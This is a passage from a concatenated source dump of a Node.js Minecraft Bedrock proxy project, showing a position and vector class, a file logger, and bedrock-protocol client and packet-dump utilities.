19 | y; 20 | z; 21 | 22 | yaw; 23 | pitch; 24 | 25 | world; 26 | 27 | constructor(obj) 28 | { 29 | this.x=obj.x; 30 | this.y=obj.y; 31 | this.z=obj.z; 32 | 33 | this.yaw=obj.yaw; 34 | this.pitch=obj.pitch; 35 | 36 | this.world=obj.world; 37 | } 38 | 39 | getX() {return this.x;} 40 | getY() {return this.y;} 41 | getZ() {return this.z;} 42 | 43 | /** 44 | * @return {{x: *, y: *, z: *}} 45 | */ 46 | getPos() 47 | { 48 | return {x: this.getX(), y: this.getY(), z: this.getZ()}; 49 | } 50 | 51 | /** 52 | * @param value {number} 53 | */ 54 | divizePos(value) 55 | { 56 | this.x=this.x/value; 57 | this.y=this.y/value; 58 | this.z=this.z/value; 59 | } 60 | 61 | substractPos(x, y, z) 62 | { 63 | this.x=this.x-x; 64 | this.y=this.y-y; 65 | this.z=this.z-z; 66 | } 67 | 68 | multiplyPos(x, y, z) 69 | { 70 | this.x=this.x*x; 71 | this.y=this.y*y; 72 | this.z=this.z*z; 73 | } 74 | 75 | getYaw() {return this.yaw;} 76 | getPitch() {return this.pitch;} 77 | 78 | getWorld() {return this.world;} 79 | 80 | distance(position) 81 | { 82 | return Math.sqrt(this.distanceSquare(position)); 83 | } 84 | 85 | distanceSquare(position) 86 | { 87 | return ((this.getX() - position.x) ** 2) + ((this.getY() - position.y) ** 2) + ((this.getZ() - position.z) ** 2); 88 | } 89 | 90 | getDirectionVector() 91 | { 92 | let y = -Math.sin(deg2rad(this.pitch)); 93 | let xz = Math.cos(deg2rad(this.pitch)); 94 | let x = -xz * Math.sin(deg2rad(this.yaw)); 95 | let z = xz * Math.cos(deg2rad(this.yaw)); 96 | 97 | return this.normalize({x: x, y: y, z: z}); 98 | } 99 | 100 | normalize(location) 101 | { 102 | let len = this.lengthSquared(location); 103 | if(len > 0){ 104 | return this.divide(location, Math.sqrt(len)); 105 | } 106 | 107 | return {x: 0, y: 0, z: 0}; 108 | } 109 | 110 | divide(location, number) 111 | { 112 | return {x: location.x / number, y: location.y / number, z: location.z / number}; 113 | } 114 | 115 | lengthSquared(location) 116 | { 117 | return location.x * location.x + location.y * location.y + location.z * location.z; 118 | } 119 | } 120 | module.exports = Position; -------------------------------------------------------------------------------- /software/src/logger/Logger.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | let SERVER_LOGS = []; 16 | 17 | const colors = require('colors'); 18 | const fs = require("fs"); 19 | const Path = require("path"); 20 | 21 | let TYPE = { 22 | info: "INFO", 23 | notice: "NOTICE", 24 | warning: "WARNING", 25 | debug: "DEBUG", 26 | error: "ERROR" 27 | }; 28 | 29 | module.exports = { 30 | 31 | async info(log) 32 | { 33 | await this.writePrefix(TYPE.info, log); 34 | }, 35 | 36 | async notice(log) 37 | { 38 | await this.writePrefix(colors.cyan(TYPE.notice), log); 39 | }, 40 | 41 | async warn(log) 42 | { 43 | await this.writePrefix(colors.yellow(TYPE.warning), log); 44 | }, 45 | 46 | async debug(log) 47 | { 48 | await this.writePrefix(colors.underline(TYPE.debug), log); 49 | }, 50 | 51 | async error(log) 52 | { 53 | await this.writePrefix(colors.red(TYPE.error), log); 54 | }, 55 | 56 | async writePrefix(prefix, log) 57 | { 58 | await write(`${colors.gray(new Date().toLocaleDateString().replaceAll('/', "-"))} ${colors.gray("[" + Date.now() + "]")} [Proxy Thread/${prefix}]: ${log}`, prefix !== colors.underline(TYPE.debug)); 59 | }, 60 | }; 61 | 62 | async function write(log, sendMessages) 63 | { 64 | if(sendMessages) console.log(log); 65 | 66 | try { 67 | fs.readFileSync(Path.join(process.argv[2] + '\\logs.txt'), 'utf-8'); 68 | }catch (e) { 69 | fs.writeFileSync(Path.join(process.argv[2] + '\\logs.txt'), "" + 70 | "/**\n" + 71 | " *\n" + 72 | " * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗\n" + 73 | " * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝\n" + 74 | " * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝\n" + 75 | " * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝\n" + 76 | " * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║\n" + 77 | " * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝\n" + 78 | " *\n" + 79 | " * Release by EasyProxy's Project!\n" + 80 | " * Github: https://https://github.com/Zwuiix-cmd/EasyProxy\n" + 81 | " * Contributors:\n" + 82 | " * @Zwuiix-cmd\n" + 83 | " * @UnNyanCat\n" + 84 | " * @Zaelee\n" + 85 | " * @Nya-Enzo\n" + 86 | " *\n" + 87 | " */\n\n", 'utf-8'); 88 | } 89 | 90 | let fileSync = fs.readFileSync(Path.join(process.argv[2] + '\\logs.txt'), 'utf-8'); 91 | fileSync += `${log}\n`; 92 | fs.writeFileSync(Path.join(process.argv[2] + '\\logs.txt'), fileSync, 'utf-8'); 93 | } -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/createClient.js: -------------------------------------------------------------------------------- 1 | const { Client } = require('./client') 2 | const { RakClient } = require('./rak')('raknet-native') 3 | const { sleep } = require('./datatypes/util') 4 | const assert = require('assert') 5 | const Options = require('./options') 6 | const advertisement = require('./server/advertisement') 7 | const auth = require('./client/auth') 8 | 9 | /** @param {{ version?: number, host: string, port?: number, connectTimeout?: number, skipPing?: boolean }} options */ 10 | function createClient (options) { 11 | assert(options) 12 | const client = new Client({ port: 19132, followPort: !options.realms, ...options, delayedInit: true }) 13 | 14 | function onServerInfo () { 15 | client.on('connect_allowed', () => connect(client)) 16 | if (options.skipPing) { 17 | client.init() 18 | } else { 19 | ping(client.options).then(ad => { 20 | const adVersion = ad.version?.split('.').slice(0, 3).join('.') // Only 3 version units 21 | client.options.version = options.version ?? (Options.Versions[adVersion] ? adVersion : Options.CURRENT_VERSION) 22 | 23 | if (ad.port && options.followPort) { 24 | client.options.port = ad.port 25 | } 26 | 27 | client.conLog?.(`Connecting to ${client.options.host}:${client.options.port} ${ad.motd} (${ad.levelName}), version ${ad.version} ${client.options.version !== ad.version ? ` (as ${client.options.version})` : ''}`) 28 | client.init() 29 | }).catch(e => client.emit('error', e)) 30 | } 31 | } 32 | 33 | if (options.realms) { 34 | auth.realmAuthenticate(client.options).then(onServerInfo).catch(e => client.emit('error', e)) 35 | } else { 36 | onServerInfo() 37 | } 38 | return client 39 | } 40 | 41 | function connect (client) { 42 | // Actually connect 43 | client.connect() 44 | 45 | client.once('resource_packs_info', (packet) => { 46 | client.write('resource_pack_client_response', { 47 | response_status: 'completed', 48 | resourcepackids: [] 49 | }) 50 | 51 | client.once('resource_pack_stack', (stack) => { 52 | client.write('resource_pack_client_response', { 53 | response_status: 'completed', 54 | resourcepackids: [] 55 | }) 56 | }) 57 | 58 | client.queue('client_cache_status', { enabled: false }) 59 | client.queue('tick_sync', { request_time: BigInt(Date.now()), response_time: 0n }) 60 | sleep(500).then(() => client.queue('request_chunk_radius', { chunk_radius: client.viewDistance || 10 })) 61 | }) 62 | 63 | // Send tick sync packets every 10 ticks 64 | const keepAliveInterval = 10 65 | const keepAliveIntervalBig = BigInt(keepAliveInterval) 66 | let keepalive 67 | client.tick = 0n 68 | client.once('spawn', () => { 69 | keepalive = setInterval(() => { 70 | // Client fills out the request_time and the server does response_time in its reply. 71 | client.queue('tick_sync', { request_time: client.tick, response_time: 0n }) 72 | client.tick += keepAliveIntervalBig 73 | }, 50 * keepAliveInterval) 74 | 75 | client.on('tick_sync', async packet => { 76 | client.emit('heartbeat', packet.response_time) 77 | client.tick = packet.response_time 78 | }) 79 | }) 80 | 81 | client.once('close', () => { 82 | clearInterval(keepalive) 83 | }) 84 | } 85 | 86 | async function ping ({ host, port }) { 87 | const con = new RakClient({ host, port }) 88 | try { 89 | return advertisement.fromServerName(await con.ping()) 90 | } finally { 91 | con.close() 92 | } 93 | } 94 | 95 | module.exports = { createClient, ping } 96 | -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/tools/genPacketDumps.js: -------------------------------------------------------------------------------- 1 | // Collect sample packets needed for `serverTest.js` 2 | // process.env.DEBUG = 'minecraft-protocol' 3 | const fs = require('fs') 4 | const vanillaServer = require('../tools/startVanillaServer') 5 | const { Client } = require('../src/client') 6 | const { serialize, waitFor, getFiles } = require('../src/datatypes/util') 7 | const { CURRENT_VERSION } = require('../src/options') 8 | const { join } = require('path') 9 | const { getPort } = require('../test/util') 10 | 11 | function hasDumps (version) { 12 | const root = join(__dirname, `../data/${version}/sample/packets/`) 13 | if (!fs.existsSync(root) || getFiles(root).length < 10) { 14 | return false 15 | } 16 | return true 17 | } 18 | 19 | let loop 20 | 21 | async function dump (version, force = true) { 22 | const random = (Math.random() * 1000) | 0 23 | const [port, v6] = [await getPort(), await getPort()] 24 | 25 | console.log('Starting dump server', version) 26 | const handle = await vanillaServer.startServerAndWait2(version || CURRENT_VERSION, 1000 * 120, { 'server-port': port, 'server-portv6': v6 }) 27 | 28 | console.log('Started dump server', version) 29 | const client = new Client({ 30 | host: '127.0.0.1', 31 | port, 32 | version, 33 | username: 'Boat' + random, 34 | offline: true 35 | }) 36 | client.connect() 37 | return waitFor(async res => { 38 | const root = join(__dirname, `../data/${client.options.version}/sample/`) 39 | if (!fs.existsSync(root + 'packets') || !fs.existsSync(root + 'chunks')) { 40 | fs.mkdirSync(root + 'packets', { recursive: true }) 41 | fs.mkdirSync(root + 'chunks', { recursive: true }) 42 | } 43 | 44 | client.once('resource_packs_info', (packet) => { 45 | client.write('resource_pack_client_response', { 46 | response_status: 'completed', 47 | resourcepackids: [] 48 | }) 49 | 50 | client.once('resource_pack_stack', (stack) => { 51 | client.write('resource_pack_client_response', { 52 | response_status: 'completed', 53 | resourcepackids: [] 54 | }) 55 | }) 56 | 57 | client.queue('client_cache_status', { enabled: false }) 58 | client.queue('request_chunk_radius', { chunk_radius: 1 }) 59 | // client.queue('tick_sync', { request_time: BigInt(Date.now()), response_time: 0n }) 60 | 61 | clearInterval(loop) 62 | loop = setInterval(() => { 63 | client.queue('tick_sync', { request_time: BigInt(Date.now()), response_time: BigInt(Date.now()) }) 64 | }, 200) 65 | }) 66 | 67 | let i = 0 68 | 69 | client.on('packet', async packet => { // Packet dumping 70 | const { name, params } = packet.data 71 | if (name === 'level_chunk') { 72 | fs.writeFileSync(root + `chunks/${name}-${i++}.bin`, packet.buffer) 73 | return 74 | } 75 | try { 76 | if (!fs.existsSync(root + `packets/${name}.json`) || force) { 77 | fs.writeFileSync(root + `packets/${name}.json`, serialize(params, 2)) 78 | } 79 | } catch (e) { console.log(e) } 80 | }) 81 | 82 | console.log('Awaiting join...') 83 | 84 | client.on('spawn', () => { 85 | console.log('Spawned!') 86 | clearInterval(loop) 87 | client.close() 88 | handle.kill() 89 | res() 90 | }) 91 | }, 1000 * 60, () => { 92 | clearInterval(loop) 93 | handle.kill() 94 | throw Error('timed out') 95 | }) 96 | } 97 | 98 | if (!module.parent) { 99 | dump(null, true).then(() => { 100 | console.log('Successfully dumped packets') 101 | }) 102 | } 103 | module.exports = { dumpPackets: dump, hasDumps } 104 | --------------------------------------------------------------------------------